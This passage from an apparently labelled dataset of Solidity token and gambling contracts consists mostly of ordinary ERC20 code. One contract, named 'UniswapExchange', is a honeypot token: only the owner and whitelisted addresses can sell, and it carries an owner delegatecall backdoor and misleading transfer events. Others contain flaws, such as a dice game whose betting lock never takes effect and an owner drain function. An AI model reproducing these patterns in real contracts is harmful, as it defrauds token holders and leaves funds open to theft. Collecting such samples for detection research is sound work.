mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
contract BFToken is BurnableToken, MintableToken, PausableToken {
string public name;
string public symbol;
uint8 public decimals;
function BFToken() public {
name = "Beautiful";
symbol = "BF";
decimals = 18;
totalSupply = 1500000000 * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
function withdrawEther() onlyOwner public {
owner.transfer(this.balance);
}
function() payable public {
}
} | 1 | 4,794 |
pragma solidity ^ 0.4 .8;
contract ERC20 {
function totalSupply() constant returns(uint total_Supply);
function balanceOf(address who) constant returns(uint256);
function allowance(address owner, address spender) constant returns(uint);
function transferFrom(address from, address to, uint value) returns(bool ok);
function approve(address spender, uint value) returns(bool ok);
function transfer(address to, uint value) returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract blockoptions is ERC20
{
string public name = "blockoptions";
string public symbol = "BOP";
uint8 public decimals = 8;
uint public _totalSupply=20000000 * 10**decimals;
uint pre_ico_start;
uint pre_ico_end;
uint ico_start;
uint ico_end;
mapping(uint => address) investor;
mapping(uint => uint) weireceived;
mapping(uint => uint) optsSent;
event preico(uint counter,address investors,uint weiReceived,uint bopsent);
event ico(uint counter,address investors,uint weiReceived,uint bopsent);
uint counter=0;
uint profit_sent=0;
bool stopped = false;
function blockoptions() payable{
owner = msg.sender;
balances[owner] = _totalSupply ;
pre_ico_start = now;
pre_ico_end = pre_ico_start + 7 days;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
address public owner;
modifier onlyOwner() {
if (msg.sender != owner)
{
revert();
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
balances[newOwner] = balances[owner];
balances[owner]=0;
owner = newOwner;
}
function Mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function Div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function Sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function Add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function transfer(address _to, uint _value) returns (bool){
uint check = balances[owner] - _value;
if(msg.sender == owner && now>=pre_ico_start && now<=pre_ico_end && check < 1900000000000000)
{
return false;
}
else if(msg.sender ==owner && now>=pre_ico_end && now<=(pre_ico_end + 16 days) && check < 1850000000000000)
{
return false;
}
else if(msg.sender == owner && check < 130000000000000 && now < ico_start + 180 days)
{
return false;
}
else if (msg.sender == owner && check < 97500000000000 && now < ico_start + 360 days)
{
return false;
}
else if (msg.sender == owner && check < 43000000000000 && now < ico_start + 540 days)
{
return false;
}
else if (_value > 0) {
balances[msg.sender] = Sub(balances[msg.sender],_value);
balances[_to] = Add(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
else{
return false;
}
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (_value > 0) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = Add(balances[_to], _value);
balances[_from] = Sub(balances[_from], _value);
allowed[_from][msg.sender] = Sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}else{
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function drain() onlyOwner {
owner.send(this.balance);
}
function() payable
{
if(stopped && msg.sender != owner)
revert();
else if(msg.sender == owner)
{
profit_sent = msg.value;
}
else if(now>=pre_ico_start && now<=pre_ico_end)
{
uint check = balances[owner]-((400*msg.value)/10000000000);
if(check >= 1900000000000000)
pre_ico(msg.sender,msg.value);
}
else if (now>=ico_start && now<ico_end)
{
main_ico(msg.sender,msg.value);
}
}
function pre_ico(address sender, uint value)private
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (400*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
preico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
function main_ico(address sender, uint value)private
{
if(now >= ico_start && now <= (ico_start + 7 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (250*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 7 days) && now <= (ico_start + 14 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (220*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 14 days) && now <= (ico_start + 31 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (200*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
}
function startICO()onlyOwner
{
ico_start = now;
ico_end=ico_start + 31 days;
pre_ico_start = 0;
pre_ico_end = 0;
}
function totalSupply() constant returns(uint256 totalSupply)
{
totalSupply = _totalSupply;
}
function endICO()onlyOwner
{
stopped=true;
if(balances[owner] > 130000000000000)
{
uint burnedTokens = balances[owner]-130000000000000;
_totalSupply = _totalSupply-burnedTokens;
balances[owner] = 130000000000000;
}
}
} | 0 | 2,347 |
contract HonestDice {
event Bet(address indexed user, uint blocknum, uint256 amount, uint chance);
event Won(address indexed user, uint256 amount, uint chance);
struct Roll {
uint256 value;
uint chance;
uint blocknum;
bytes32 secretHash;
bytes32 serverSeed;
}
uint betsLocked;
address owner;
address feed;
uint256 minimumBet = 1 * 1000000000000000000;
uint256 constant maxPayout = 5;
uint constant seedCost = 100000000000000000;
mapping (address => Roll) rolls;
uint constant timeout = 20;
function HonestDice() {
owner = msg.sender;
feed = msg.sender;
}
function roll(uint chance, bytes32 secretHash) {
if (chance < 1 || chance > 255 || msg.value < minimumBet || calcWinnings(msg.value, chance) > getMaxPayout() || betsLocked != 0) {
msg.sender.send(msg.value);
return;
}
rolls[msg.sender] = Roll(msg.value, chance, block.number, secretHash, 0);
Bet(msg.sender, block.number, msg.value, chance);
}
function serverSeed(address user, bytes32 seed) {
if (msg.sender != feed) return;
if (rolls[user].serverSeed != 0) return;
rolls[user].serverSeed = seed;
}
function hashTo256(bytes32 hash) constant returns (uint _r) {
return uint(hash) & 0xff;
}
function hash(bytes32 input) constant returns (uint _r) {
return uint(sha3(input));
}
function isReady() constant returns (bool _r) {
return isReadyFor(msg.sender);
}
function isReadyFor(address _user) constant returns (bool _r) {
Roll r = rolls[_user];
if (r.serverSeed == 0) return false;
return true;
}
function getResult(bytes32 secret) constant returns (uint _r) {
Roll r = rolls[msg.sender];
if (r.serverSeed == 0) return;
if (sha3(secret) != r.secretHash) return;
return hashTo256(sha3(secret, r.serverSeed));
}
function didWin(bytes32 secret) constant returns (bool _r) {
Roll r = rolls[msg.sender];
if (r.serverSeed == 0) return;
if (sha3(secret) != r.secretHash) return;
if (hashTo256(sha3(secret, r.serverSeed)) < r.chance) {
return true;
}
return false;
}
function calcWinnings(uint256 value, uint chance) constant returns (uint256 _r) {
return (value * 99 / 100) * 256 / chance;
}
function getMaxPayout() constant returns (uint256 _r) {
return this.balance * maxPayout / 100;
}
function claim(bytes32 secret) {
Roll r = rolls[msg.sender];
if (r.serverSeed == 0) return;
if (sha3(secret) != r.secretHash) return;
if (hashTo256(sha3(secret, r.serverSeed)) < r.chance) {
msg.sender.send(calcWinnings(r.value, r.chance) - seedCost);
Won(msg.sender, r.value, r.chance);
}
delete rolls[msg.sender];
}
function canClaimTimeout() constant returns (bool _r) {
Roll r = rolls[msg.sender];
if (r.serverSeed != 0) return false;
if (r.value <= 0) return false;
if (block.number < r.blocknum + timeout) return false;
return true;
}
function claimTimeout() {
if (!canClaimTimeout()) return;
Roll r = rolls[msg.sender];
msg.sender.send(r.value);
delete rolls[msg.sender];
}
function getMinimumBet() constant returns (uint _r) {
return minimumBet;
}
function getBankroll() constant returns (uint256 _r) {
return this.balance;
}
function getBetsLocked() constant returns (uint _r) {
return betsLocked;
}
function setFeed(address newFeed) {
if (msg.sender != owner) return;
feed = newFeed;
}
function lockBetsForWithdraw() {
if (msg.sender != owner) return;
uint betsLocked = block.number;
}
function unlockBets() {
if (msg.sender != owner) return;
uint betsLocked = 0;
}
function withdraw(uint amount) {
if (msg.sender != owner) return;
if (betsLocked == 0 || block.number < betsLocked + 5760) return;
owner.send(amount);
}
} | 0 | 2,575 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,548 |
pragma solidity ^0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() public {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused();
event Unpaused();
bool private _paused = false;
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused();
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(
address to,
uint256 amount
)
public
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
uint256 private _totalMinted;
constructor(uint256 cap)
public
{
require(cap > 0);
_cap = cap;
}
function cap() public view returns(uint256) {
return _cap;
}
function minted() public view returns(uint256) {
return _totalMinted;
}
function mint(
address to,
uint256 amount
)
public
returns (bool)
{
require(_totalMinted.add(amount) <= _cap);
_totalMinted = _totalMinted.add(amount);
return super.mint(to, amount);
}
}
contract Movecoin is ERC20, ERC20Detailed, ERC20Pausable, ERC20Burnable, ERC20Capped {
uint256 public constant TOKEN_CAP = 1000000000000000000000000000;
constructor(
string name,
string symbol,
uint8 decimals
)
ERC20Burnable()
ERC20Pausable()
ERC20Capped(TOKEN_CAP)
ERC20Detailed(name, symbol, decimals)
ERC20()
public
{}
function transfer(address to, uint256 value) public returns (bool) {
require(to != address(this), "Invalid destination");
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(to != address(this), "Invalid destination");
return super.transferFrom(from, to, value);
}
} | 1 | 4,505 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
